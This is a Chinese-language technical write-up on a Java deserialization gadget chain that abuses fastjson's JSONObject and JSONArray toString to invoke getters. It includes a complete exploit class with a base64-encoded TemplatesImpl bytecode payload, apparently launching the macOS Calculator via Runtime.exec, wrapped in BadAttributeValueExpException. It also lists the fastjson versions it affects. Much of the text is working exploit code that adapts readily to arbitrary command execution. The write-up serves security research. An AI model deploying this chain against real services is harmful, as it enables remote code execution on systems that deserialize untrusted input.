JSONObject#toString调用getter

当能触发任意类的toString方法,且环境下存在fastjson的依赖。我们可以选择触发com.alibaba.fastjson.JSON#toString方法,该方法可以调用任意类的getter方法

利用点位于JSON#toString,由于JSONObject和JSONArray都实现了Serializable接口且继承于JSON,也可以调用他们的toString方法进而调用JSON#toString方法

Untitled

跟进toJSONString方法

Untitled

调用JSONSerializer#write方法,该方法下就是fastjson序列化的主要逻辑,会调用类的getter方法

write方法传入当前JSONObject对象

Untitled

进行跟进write方法,会调用到MapSerializer#write方法

方法中会先将object赋值给map,然后会去遍历map的键值对,会调用value所属对象的getter方法进行赋值

Untitled

注意fastjson版本,高版本有序列化白名单

exp

package org.example.fastjson;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class fastjsonToString {
    public static void main(String[] args) throws Exception {
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADMALwoACQAWCQAXABgIABkKABoAGwoAHAAdCAAeCgAcAB8HACAHACEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAIgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAKAAsHACQMACUAJgEABW5pdmlhBwAnDAAoACkHACoMACsALAEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMAC0ALgEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAOgACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAEADQAAABIABAAAAAoABAALAAwADAAVAA0ADgAAAAQAAQAPAAEAEAARAAIADAAAABkAAAADAAAAAbEAAAABAA0AAAAGAAEAAAAQAA4AAAAEAAEAEgABABAAEwACAAwAAAAZAAAABAAAAAGxAAAAAQANAAAABgABAAAAEwAOAAAABAABABIAAQAUAAAAAgAV");

        setFieldValue(impl, "_name", "nivia");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("nivia", impl);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field v = val.getClass().getDeclaredField("val");
        v.setAccessible(true);
        v.set(val, jsonObject);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);
        oos.close();

        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        Object ob = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

JSONArray也能利用

JSONArray jsonArray = new JSONArray();
jsonArray.add(impl);

版本限制:fastjson1小于等于1.2.48版本、fastjson2目前通杀(目前最新版本2.0.26)

高版本fastjson

切换至1.2.49版本会发生报错